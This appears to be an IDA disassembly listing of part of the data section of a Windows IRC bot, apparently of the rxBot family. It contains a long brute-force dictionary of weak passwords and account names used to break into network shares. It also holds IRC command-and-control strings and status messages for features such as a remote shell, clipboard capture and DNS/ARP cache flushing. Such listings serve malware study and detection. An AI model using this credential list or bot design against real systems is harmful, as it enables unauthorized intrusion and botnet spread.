a00000		db '00000',0            ; DATA XREF: .nsp0:0042C5E0o
					; .nsp0:0042DFF8o
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:0042C5DCo
					; .nsp0:0042DFF4o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:0042C5D8o
					; .nsp0:0042DFF0o
aTesting	db 'testing',0          ; DATA XREF: .nsp0:0042C5D4o
aDeath		db 'death',0            ; DATA XREF: .nsp0:0042C5D0o
		align 4
a00		db '00',0               ; DATA XREF: .nsp0:0042C5CCo
					; .nsp0:0042DFECo
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:0042C5C4o
					; .nsp0:0042E43Co
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0042C5C0o
					; .nsp0:0042E438o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:0042C5BCo
					; .nsp0:0042E434o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:0042C5B8o
					; .nsp0:0042E430o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:0042C5B4o
					; .nsp0:0042E42Co
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:0042C5B0o
					; .nsp0:0042E428o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:0042C5ACo
					; .nsp0:0042E424o
aXx		db 'xx',0               ; DATA XREF: .nsp0:0042C5A8o
					; .nsp0:0042E420o
		align 4
asc_432C6C:				; DATA XREF: .nsp0:0042C5A4o
					; .nsp0:0042E41Co
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .nsp0:0042C5A0o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .nsp0:0042C59Co
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .nsp0:0042C598o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: .nsp0:0042C594o
		align 10h
aKiddie		db 'kiddie',0           ; DATA XREF: .nsp0:0042C590o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .nsp0:0042C58Co
		align 4
aScript		db 'script',0           ; DATA XREF: .nsp0:0042C588o
		align 10h
aHax0r		db 'hax0r',0            ; DATA XREF: .nsp0:0042C584o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: .nsp0:0042C580o
		align 10h
aL337		db 'l337',0             ; DATA XREF: .nsp0:0042C57Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: .nsp0:0042C578o
		align 10h
aLeet		db 'leet',0             ; DATA XREF: .nsp0:0042C574o
		align 4
aKiller		db 'killer',0           ; DATA XREF: .nsp0:0042C570o
		align 10h
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:0042C56Co
					; .nsp0:0042E058o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: .nsp0:0042C568o
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: .nsp0:0042C564o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: .nsp0:0042C560o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: .nsp0:0042C55Co
aSatanik	db 'satanik',0          ; DATA XREF: .nsp0:0042C558o
aSatan		db 'satan',0            ; DATA XREF: .nsp0:0042C554o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: .nsp0:0042C550o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .nsp0:0042C54Co
aMatt		db 'Matt',0             ; DATA XREF: .nsp0:0042C548o
		align 4
aMat		db 'Mat',0              ; DATA XREF: .nsp0:0042C544o
aPw		db 'pw',0               ; DATA XREF: .nsp0:0042C540o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .nsp0:0042C53Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .nsp0:0042C538o
		align 10h
aPw123		db 'pw123',0            ; DATA XREF: .nsp0:0042C534o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:0042C530o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .nsp0:0042C52Co
aMypc		db 'mypc',0             ; DATA XREF: .nsp0:0042C528o
		align 4
aLove		db 'love',0             ; DATA XREF: .nsp0:0042C524o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .nsp0:0042C520o
aLogin		db 'login',0            ; DATA XREF: .nsp0:0042C51Co
		align 4
aHome		db 'home',0             ; DATA XREF: .nsp0:0042C518o
		align 10h
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:0042C514o
					; .nsp0:0042E45Co
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: .nsp0:0042C510o
		align 10h
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:0042C50Co
					; .nsp0:0042E3C8o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .nsp0:0042C508o
		align 10h
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:0042C504o
					; .nsp0:0042E474o
		align 4
aPc		db 'pc',0               ; DATA XREF: .nsp0:0042C500o
		align 4
aWin		db 'win',0              ; DATA XREF: .nsp0:0042C4FCo
aTest123	db 'test123',0          ; DATA XREF: .nsp0:0042C4F8o
aAbc		db 'abc',0              ; DATA XREF: .nsp0:0042C4F4o
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:0042C4F0o
					; .nsp0:0042E39Co
aA_1:					; DATA XREF: .nsp0:0042C4ECo
					; .nsp0:0042E394o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .nsp0:0042C4E8o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:0042C4E4o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:0042C4E0o
aIrule		db 'irule',0            ; DATA XREF: .nsp0:0042C4DCo
		align 4
aOwned		db 'owned',0            ; DATA XREF: .nsp0:0042C4D8o
		align 4
a0wned		db '0wned',0            ; DATA XREF: .nsp0:0042C4D4o
					; .nsp0:0042E05Co
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .nsp0:0042C4D0o
		align 10h
aNetdevil	db 'netdevil',0         ; DATA XREF: .nsp0:0042C4CCo
		align 4
aDevil		db 'devil',0            ; DATA XREF: .nsp0:0042C4C8o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .nsp0:0042C4C4o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .nsp0:0042C4C0o
		align 4
aGod		db 'god',0              ; DATA XREF: .nsp0:0042C4BCo
aSex_0		db 'sex',0              ; DATA XREF: .nsp0:0042C4B8o
aPat		db 'pat',0              ; DATA XREF: .nsp0:0042C4B4o
aPatrick	db 'patrick',0          ; DATA XREF: .nsp0:0042C4B0o
aAlpha		db 'alpha',0            ; DATA XREF: .nsp0:0042C4ACo
		align 10h
a007		db '007',0              ; DATA XREF: .nsp0:0042C4A8o
					; .nsp0:0042E048o
a123abc		db '123abc',0           ; DATA XREF: .nsp0:0042C4A4o
					; .nsp0:0042E258o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:0042C4A0o
					; .nsp0:0042E264o
		align 4
a123123		db '123123',0           ; DATA XREF: .nsp0:0042C49Co
					; .nsp0:0042E204o
		align 10h
a121212		db '121212',0           ; DATA XREF: .nsp0:0042C498o
					; .nsp0:0042E1FCo
		align 4
a111111		db '111111',0           ; DATA XREF: .nsp0:0042C494o
					; .nsp0:0042E074o
		align 10h
a110		db '110',0              ; DATA XREF: .nsp0:0042C490o
					; .nsp0:0042E1C8o
a2600		db '2600',0             ; DATA XREF: .nsp0:0042C48Co
					; .nsp0:0042E350o
		align 4
a2002		db '2002',0             ; DATA XREF: .nsp0:0042C484o
					; .nsp0:0042E33Co
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .nsp0:0042C480o
		align 4
aEnable		db 'enable',0           ; DATA XREF: .nsp0:0042C47Co
		align 10h
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .nsp0:0042C478o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .nsp0:0042C474o
a123asd		db '123asd',0           ; DATA XREF: .nsp0:0042C470o
					; .nsp0:0042E25Co
		align 10h
aSuper		db 'super',0            ; DATA XREF: .nsp0:0042C46Co
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:0042C468o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:0042C460o
					; .nsp0:0042E260o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: .nsp0:0042C45Co
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:0042C454o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:0042C450o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:0042C448o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:0042C444o
		align 4
a88888888	db '88888888',0         ; DATA XREF: .nsp0:0042C440o
					; .nsp0:0042E194o
		align 10h
a11111111	db '11111111',0         ; DATA XREF: .nsp0:0042C43Co
					; .nsp0:0042E07Co
		align 4
a111		db '111',0              ; DATA XREF: .nsp0:0042C438o
					; .nsp0:0042E068o
a54321		db '54321',0            ; DATA XREF: .nsp0:0042C434o
					; .nsp0:0042E35Co
		align 4
a654321		db '654321',0           ; DATA XREF: .nsp0:0042C430o
					; .nsp0:0042E360o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .nsp0:0042C42Co
					; .nsp0:0042E21Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: .nsp0:0042C428o
					; .nsp0:0042E218o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .nsp0:0042C424o
					; .nsp0:0042E214o
a123456		db '123456',0           ; DATA XREF: .nsp0:0042C420o
					; .nsp0:0042E210o
		align 4
a12345		db '12345',0            ; DATA XREF: .nsp0:0042C41Co
					; .nsp0:0042E20Co
		align 10h
a1234		db '1234',0             ; DATA XREF: .nsp0:0042C418o
					; .nsp0:0042E208o
		align 4
a123		db '123',0              ; DATA XREF: .nsp0:0042C414o
					; .nsp0:0042E200o
a12		db '12',0               ; DATA XREF: .nsp0:0042C410o
					; .nsp0:0042E1F4o
		align 10h
a1:					; DATA XREF: .nsp0:0042C40Co
					; .nsp0:0042E060o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:0042C408o
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:0042C404o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:0042C400o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:0042C3FCo
		align 4
aUnix		db 'unix',0             ; DATA XREF: .nsp0:0042C3F8o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:0042C3F4o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:0042C3F0o
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: .nsp0:0042C3ECo
					; .nsp0:0042E7ACo
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .nsp0:0042C3E8o
					; .nsp0:0042E3FCo ...
		align 4
aBackup_0	db 'BACKUP',0           ; DATA XREF: .nsp0:0042C3E4o
					; .nsp0:0042E7A4o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:0042C3DCo
					; .nsp0:0042E79Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: .nsp0:0042C3D8o
					; .nsp0:0042E798o
		align 4
aEdu		db 'edu',0              ; DATA XREF: .nsp0:0042C3D4o
					; .nsp0:0042E794o
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:0042C3D0o
					; .nsp0:0042E790o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:0042C3CCo
					; .nsp0:0042E78Co
		align 10h
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:0042C3C8o
					; .nsp0:0042E788o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:0042C3C4o
					; .nsp0:0042E784o
		align 10h
aRead		db 'READ',0             ; DATA XREF: .nsp0:0042C3C0o
					; .nsp0:0042E780o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:0042C3BCo
					; .nsp0:0042E77Co
		align 10h
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:0042C3B8o
					; .nsp0:0042E778o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:0042C3B4o
					; .nsp0:0042E774o
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:0042C3B0o
					; .nsp0:0042E770o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .nsp0:0042C3ACo
					; .nsp0:0042E76Co
		align 10h
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:0042C3A8o
					; .nsp0:0042E768o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:0042C3A4o
					; .nsp0:0042E764o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:0042C3A0o
					; .nsp0:0042E760o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:0042C398o
					; .nsp0:0042E758o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:0042C394o
					; .nsp0:0042E754o
		align 4
aBla		db 'bla',0              ; DATA XREF: .nsp0:0042C390o
					; .nsp0:0042E750o
aFubar		db 'fubar',0            ; DATA XREF: .nsp0:0042C38Co
					; .nsp0:0042E74Co
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0042C380o
					; .nsp0:0042E740o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .nsp0:0042C374o
		align 10h
aGuest		db 'Guest',0            ; DATA XREF: sub_413627:loc_413740o
					; .nsp0:0042C370o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: .nsp0:0042C36Co
					; .nsp0:0042DA40o
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40CE55+203Bo
					; .nsp0:0042C368o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .nsp0:0042C360o
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:0042C35Co
					; .nsp0:0042C458o
		align 4
aDba		db 'dba',0              ; DATA XREF: .nsp0:0042C358o
aDatabase	db 'database',0         ; DATA XREF: .nsp0:0042C354o
					; .nsp0:0042C44Co
		align 4
aDefault	db 'default',0          ; DATA XREF: .nsp0:0042C350o
					; .nsp0:0042CAECo
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:0042C34Co
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:0042C348o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:0042C344o
					; .nsp0:0042DA80o
aStudent	db 'student',0          ; DATA XREF: .nsp0:0042C340o
					; .nsp0:0042D9C8o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:0042C33Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: .nsp0:0042C338o
					; .nsp0:0042C464o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .nsp0:0042C330o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:0042C324o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:0042C320o
		align 4
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_413627:loc_413732o
					; .nsp0:0042C314o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: .nsp0:off_42C268o
a@room		db '*@room',0           ; DATA XREF: .nsp0:off_42C264o
		align 10h
dword_433150	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C682+35Co
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_43317C	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C682+28Ao
dword_433188	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CB75+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CCDD+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CCDD+35o
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o
		align 10h
dword_433200	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5CBBo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_433234	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5C9Eo
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_433268	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5C40o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_4332A8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5BD0o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CE55+5BC1o
					; sub_40CE55+5C31o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CE55+5BADo
					; sub_40CE55+5C1Do
		align 4
asc_433334:				; DATA XREF: sub_40CE55+5B7Do
		unicode	0, <~>,0
dword_433338	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5B2Co
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 10h
dword_433370	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A7Eo
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 10h
dword_4333B0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A73o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_4333F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A0Fo
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_433414	db    2			; DATA XREF: sub_40CE55+59E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_433464	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40CE55+596Fo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40CE55+5969o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40CE55+5962o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40CE55+5907o
aSecure		db 'secure',0           ; DATA XREF: sub_40CE55+58F6o
		align 4
unk_4334B4	db    2			; DATA XREF: sub_40CE55+58EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_433500	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CE55+57C9o
dword_433510	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CE55+57C4o
dword_43351C	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+57B1o
dword_433528	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40CE55+57ACo
dword_433538	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5779o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o
		align 4
dword_43357C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5757o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o
		align 10h
dword_4335D0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+56D6o
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_433610	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5698o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_43363C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+566Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_433688	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CE55+5602o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_4336B8	dd 627573h		; DATA XREF: sub_40CE55+55DCo
dword_4336BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+558Do
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_4336E8	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CE55+5572o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433734	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CE55+54E5o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_433760	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5464o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_43378C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5435o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_4337B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+53E0o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_4337E4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+53CDo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433834	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+535Eo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_40CE55+533Eo
		align 10h
dword_433870	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CE55+52E7o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 4
unk_4338A4	db    2			; DATA XREF: sub_40CE55+52BBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4338D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+526Fo
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_433904	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_412027o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_433938	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+51CBo
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_433974	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CE55+51AFo
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4339B0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5199o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo
		align 4
unk_4339F4	db    2			; DATA XREF: sub_40CE55:loc_411FB0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_433A34	db    2			; DATA XREF: sub_40CE55+5140o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_433A6C	db    2			; DATA XREF: sub_40CE55:loc_411F85o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_433AAC	db    2			; DATA XREF: sub_40CE55:loc_411F7Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_433AEC	db    2			; DATA XREF: sub_40CE55+5122o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_433B24	db    2			; DATA XREF: sub_40CE55+50A4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
